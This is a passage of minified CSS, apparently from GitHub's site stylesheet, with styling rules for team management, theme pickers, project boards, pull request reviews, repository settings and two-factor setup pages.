var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container 